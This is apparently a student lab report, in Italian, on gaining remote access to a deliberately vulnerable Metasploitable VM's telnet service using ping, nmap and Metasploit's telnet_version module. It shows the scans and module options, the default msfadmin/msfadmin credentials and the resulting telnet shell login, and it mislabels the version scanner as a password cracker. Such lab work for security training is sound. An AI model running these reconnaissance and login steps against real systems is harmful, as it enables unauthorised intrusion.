

Progetto S7-L1

Studente: Simone Mininni

Task: Exploit del servizio 'telnet' della Metasploitable, con l'ausilio di "Metasploit", al fine di controllare la macchina da remoto con kali.

Per exploit si intende una procedura che tende a sfruttare una vulnerabilità intrinseca di un programma, servizio, protocollo informatico.

Nel nostro caso andremo a sfruttare una vulnerabilità nota del servizio "telnet".

Protocollo non criptato che permette di controllare dispositivi da remoto previa autenticazione di default in ascolto sulla porta 23.

Prima di effettuare un attacco di questo tipo, è necessario capire se ci sono i presupposti:

- La macchina attaccante comunica con la macchina target
- Il servizio telnet è attivo sul bersaglio.

Per questo effettuiamo prima un ping:

```
(simone@kali)-[~]  
$ ping 192.168.56.102 -c 4  
PING 192.168.56.102 (192.168.56.102) 56(84) bytes of data.  
64 bytes from 192.168.56.102: icmp_seq=1 ttl=64 time=1.17 ms  
64 bytes from 192.168.56.102: icmp_seq=2 ttl=64 time=0.385 ms  
64 bytes from 192.168.56.102: icmp_seq=3 ttl=64 time=0.434 ms  
64 bytes from 192.168.56.102: icmp_seq=4 ttl=64 time=0.387 ms  
  
— 192.168.56.102 ping statistics —  
4 packets transmitted, 4 received, 0% packet loss, time 3053ms  
rtt min/avg/max/mdev = 0.385/0.594/1.171/0.333 ms
```

Ora che abbiamo constatato che le due macchine comunicano, possiamo effettuare una scansione con nmap.

```
$ nmap -sT 192.168.56.102
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-07 14:30 CET
Nmap scan report for 192.168.56.102
Host is up (0.0021s latency).
Not shown: 978 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown

Nmap done: 1 IP address (1 host up) scanned in 13.51 seconds
```

Abbiamo verificato che il target ha un servizio attivo sulla porta 23 telnet.

A questo punto utilizziamo Metasploit per automatizzare il processo di exploit.

Metasploit nello specifico è un tool che contiene un database di vulnerabilità note, quindi potremo sfruttare gli exploit per quel tipo di vulnerabilità e anche il payload di quell' exploit, ovvero un ponte che ci permette di caricare la shell nella macchina target e quindi controllarla da remoto.

Proseguendo cerchiamo su Metasploit eventuali exploit di telnet.

```
msf6 > search telnet

Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/linux/misc/asus_infosvr_auth_bypass_exec	2015-01-04	excellent	No	ASUS infosvr Auth Bypass
1	exploit/linux/http/asuswrt_lan_rce	2018-01-22	excellent	No	AsusWRT LAN Unauthenticated Remote Code Execution
2	auxiliary/server/capture/telnet		normal	No	Authentication Capture
3	auxiliary/scanner/telnet/brocade_enable_login		normal	No	Brocade Enable Login Check Scanner
4	exploit/windows/proxy/ccproxy/telnet_ping	2004-11-11	average	Yes	CCProxy Telnet Ping Overflow
5	auxiliary/dos/cisco/ios_telnet_rocem	2017-03-17	normal	No	Cisco IOS Telnet Denial of Service
6	auxiliary/admin/http/dlink_dir_300_600_exec_noauth	2013-02-04	normal	No	D-Link DIR-600 / DIR-615 Remote Code Execution

Di fatto troviamo un exploit 'auxiliary' che permette di effettuare un password cracking, quindi di ottenere le credenziali di autenticazione.

Successivamente vediamo le condizioni che devono essere soddisfatte per lanciare l'attacco:

```
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):



| Name     | Current Setting | Required | Description                                                                                                                                                                                         |
|----------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| PASSWORD |                 | no       | The password for the specified username                                                                                                                                                             |
| RHOSTS   |                 | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT    | 23              | yes      | The target port (TCP)                                                                                                                                                                               |
| THREADS  | 1               | yes      | The number of concurrent threads (max one per host)                                                                                                                                                 |
| TIMEOUT  | 30              | yes      | Timeout for the Telnet probe                                                                                                                                                                        |
| USERNAME |                 | no       | The username to authenticate as                                                                                                                                                                     |



View the full module info with the info, or info -d command.
```

In questo caso dobbiamo inserire solo l'ip del target.

```
msf6 auxiliary(scanner/telnet/telnet_version) > set rhosts 192.168.56.102
rhosts => 192.168.56.102
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

  Name      Current Setting  Required  Description
  ---      -
  PASSWORD  -               no       The password for the specified username
  RHOSTS    192.168.56.102  yes      The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     23              yes      The target port (TCP)
  THREADS   1               yes      The number of concurrent threads (max one per host)
  TIMEOUT   30              yes      Timeout for the Telnet probe
  USERNAME  -               no       The username to authenticate as

View the full module info with the info, or info -d command.
```

Abbiamo inserito l'ip del target, siamo pronti a lanciare l'exploit.

[illegible]

Troviamo “login with msfadmin/msfadmin”, quindi l’exploit è andato a buon fine e siamo riusciti a trovare le credenziali di accesso.

Ora testiamo se riusciamo ad accedere con il servizio telnet.

```
Connected to 192.168.56.102.
Escape character is '^['.

Metasploit

Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Tue Nov  7 08:19:48 EST 2023 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$
```

Infatti siamo dentro al dispositivo, potendolo controllare.

In conclusione abbiamo dimostrato come si può entrare in una macchina pur non essendo un utente autorizzato, riuscendo a controllare la stessa. Un black hat potrebbe impadronirsi di dati importanti per una azienda, o fare azioni attive per mandare in down il sistema o installare malware come ransomware, ecc...

Fine.